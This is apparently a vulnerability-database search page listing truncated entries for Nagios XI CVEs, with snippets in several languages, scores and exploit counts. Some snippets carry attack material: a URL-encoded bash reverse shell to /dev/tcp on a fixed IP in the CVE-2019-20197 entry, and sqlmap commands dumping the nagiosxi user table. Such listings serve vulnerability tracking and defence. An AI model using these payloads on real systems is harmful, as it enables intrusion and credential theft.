Lucene search
+L

1909 matches found

Kitploit
Kitploit
added 2026/08/26 1:29 a.m.1 views

CVE-2019-20197

ثغرة تنفيذ الأوامر عن بُعد في Nagios XI CVE-2019-20197 إثبات المفهوم POC: POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

9CVSS8.1AI score0.22404EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/25 10:32 p.m.2 views

CVE-2023-40933-PoC

CVE-2023-40933 Le payload sqlmap pour exploiter CVE-2023-40933 Payload Informations requises : Nom d'utilisateur et mot de passe valides Domaine et chemin de l'instance hébergée root@kitploit: sqlmap -D nagiosxi -T xiusers -u...

8.8CVSS8.4AI score0.03113EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/25 10:32 p.m.1 views

CVE-2023-40931-PoC

CVE-2023-40931 حمولة sqlmap لاستغلال CVE-2023-40931 الحمولة المعلومات المطلوبة: اسم مستخدم وكلمة مرور صالحان النطاق ومسار المثيل المستضاف root@kitploit: sqlmap -D nagiosxi -T xiusers -u "https:///nagiosxi/admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id=3&token=curl -ksX POST...

6.5CVSS6.6AI score0.11278EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/25 10:08 p.m.3 views

CVE-2019-20197

CVE-2019-20197 Nagios XI リモートコマンド実行の脆弱性 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

9CVSS8.2AI score0.22404EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/25 8:59 p.m.1 views

CVE-2023-48084-Revised

CVE-2023-48084 — PoC محدّث المستودع: MettHK/CVE-2023-48084-Revised نسخة محدّثة من Hamibubu/CVE-2023-48084 مع دعم تعدد الخيوط، واستخراج البحث الثنائي، وخيارات سطر أوامر لاختيار قاعدة البيانات / الجدول / العمود. ليس المستودع الأصلي. هذا PoC مشتق/محسّن. يعود الفضل في العمل الأصلي إلى Hamibubu. إخلاء...

9.8CVSS9AI score0.3374EPSS
SaveExploits3References3
Kitploit
Kitploit
added 2026/08/25 8:30 p.m.3 views

CVE-2024-24401

Rapport de vulnérabilité CVE découverte CONÇU POUR ÊTRE EXÉCUTÉ SUR KALI LINUX Remarques Nagios a corrigé la version 2024R1.0.1 dans tous les téléchargements récents. Pour déterminer si une cible est vulnérable, assurez-vous qu'elle utilise un téléchargement plus ancien de 2024R1.0.1. Le script m...

9.8CVSS7.6AI score0.45884EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/08/25 4:18 p.m.3 views

CVE-2024-24401

تقرير الثغرات الأمنية تم اكتشاف CVE بواسطة: Jarod Jaslow MAWK مصمم للتشغيل على Kali Linux ملاحظات قام Nagios بتصحيح الإصدار 2024R1.0.1 في جميع التنزيلات الحديثة. لتحديد ما إذا كان الهدف معرضًا للخطر، تأكد من أنهم يستخدمون تنزيلًا أقدم من 2024R1.0.1. البرنامج النصي المحدّث يتحقق من أن النظام الهدف...

9.8CVSS7.5AI score0.45884EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/08/25 1:40 p.m.1 views

Nagios-XI-s-CVE-2023-40931-Exploit

لا يحتوي هذا المستودع على ملف README...

6.5CVSS0.11278EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/25 10:53 a.m.1 views

CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

CVE-2025-34227 Nagios XI Injection de commande authentifiée dans Configuration Wizard Dépôt de preuve de concept simple pour CVE-2025-34227, une injection de commande authentifiée dans Nagios XI - Configuration Wizard Article complet ici:...

8.8CVSS5.7AI score0.24251EPSS
SaveExploits2
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.98 views

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

9CVSS8.4AI score0.71536EPSS
SaveExploits7References5
Kitploit
Kitploit
added 2026/08/25 4:31 a.m.1 views

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Bugs signalés à Nagios XI CVE-2021-25296 Emplacement du code /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Extrait de code root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen;...

9CVSS0.71536EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/08/25 4:30 a.m.3 views

CVE-2024-33775

CVE تم اكتشافها بواسطة: K. Wahab NeoX تفاصيل الثغرة: المنتج: Nagios XI Version 2024R1.01 الثغرة: تصعيد الامتيازات من المستخدمين "NAGIOS" أو "APACHE" النتيجة: وصول كامل بصلاحيات الجذر root على النظام المستهدف CVE: https://vulners.com/cve/CVE-2024-33775 الاستغلال: يُستخدم RSS Dashlet في هذا المثال...

8.8CVSS5.2AI score0.01424EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/25 4:29 a.m.1 views

CVE-2024-24402

تقرير الثغرة تم اكتشاف CVE بواسطة: Jarod Jaslow MAWK تفاصيل الثغرة: النقطة النهائية: Nagios XI الإصدار 2024R1.01 نوع الثغرة: تصعيد الصلاحيات من مستخدم "NAGIOS" نتيجة الاستغلال: وصول كامل لجذر النظام خطوات إعادة الإنتاج: 1. إنشاء نسخة جديدة من Nagios XI الإصدار 2024R1.01: قم بتنزيل ملف OVA الخاص ب...

9.8CVSS4.7AI score0.03398EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/25 4:29 a.m.1 views

CVE-2023-47400

CVE-2023-47400 إثبات المفهوم لـ CVE-2023-47400 تنفيذ كود PHP عن بُعد بعد المصادقة عبر كتابة ملفات عشوائية على Nagios XI 5.11.0 !Note يستند هذا الإثبات المفاهيمي PoC إلى النشرة الفنية التي نشرتها مجموعة NCC...

8.2AI score
SaveExploits1
Kitploit
Kitploit
added 2026/08/25 4:24 a.m.1 views

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc CVE-2019-15949 の Python PoC 概要 Nagios XI = 5.6.5 には、攻撃者が RCE を利用して root への権限昇格を可能にする脆弱性が存在します。 このエクスプロイトを実行するには、'nagios' ユーザーとしてサーバーにアクセスできるか、プラグイン管理の権限を持つ Web インターフェース経由での CCM アクセスが必要です。 詳細 getprofile.sh スクリプトは、システムプロファイルのダウンロード profile.php?cmd=download...

9CVSS0.77039EPSS
SaveExploits13
Kitploit
Kitploit
added 2026/08/24 7:15 a.m.1 views

CVE-2025-61299_POC

CVE-2025-61299POC حقن أوامر بعد المصادقة في Nagios XI 2024R1 CVE-2025-61299...

SaveExploits1
Kitploit
Kitploit
added 2026/08/23 3:57 p.m.1 views

CVE-2023-48084

CVE-2023-48084 استغلال Python لـ CVE-2023-48084 - Nagios XI before version 5.11.3 was discovered to contain a SQL injection vulnerability via the bulk modification tool. يستخدم الاستغلال /admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id= لتنفيذ استعلامات SQL، ويستغل ثغرة حقن...

9.8CVSS0.3374EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/08/20 3:31 p.m.1 views

nagiosxi-root-rce-exploit

nagiosxi-root-exploit نظرة عامة توجد ثغرة أمنية في Nagios XI = 5.6.5 تتيح للمهاجم استغلال RCE لرفع الامتيازات إلى صلاحيات root. يتطلب الاستغلال الوصول إلى الخادم كمستخدم 'nagios'، أو الوصول إلى CCM عبر واجهة الويب مع صلاحيات لإدارة الإضافات. التفاصيل يتم تنفيذ السكربت getprofile.sh، الذي يُستدعى ...

9CVSS0.77039EPSS
SaveExploits13
Tenable Nessus
Tenable Nessus
added 2026/08/13 12:00 a.m.9 views

Linux Distros Unpatched Vulnerability : CVE-2026-48554

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 are vulnerable to authenticated remote code execution via unfiltered NOTIFICATION-family macro...

7.7CVSS6.1AI score0.00523EPSS
SaveExploits0References3
Tenable Nessus
Tenable Nessus
added 2026/08/13 12:00 a.m.11 views

Linux Distros Unpatched Vulnerability : CVE-2026-48551

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 contain a cross-site request forgery protection bypass via a self-supplied double-submit cookie. An...

7.4CVSS5.5AI score0.00173EPSS
SaveExploits0References3
Rows per page
Query Builder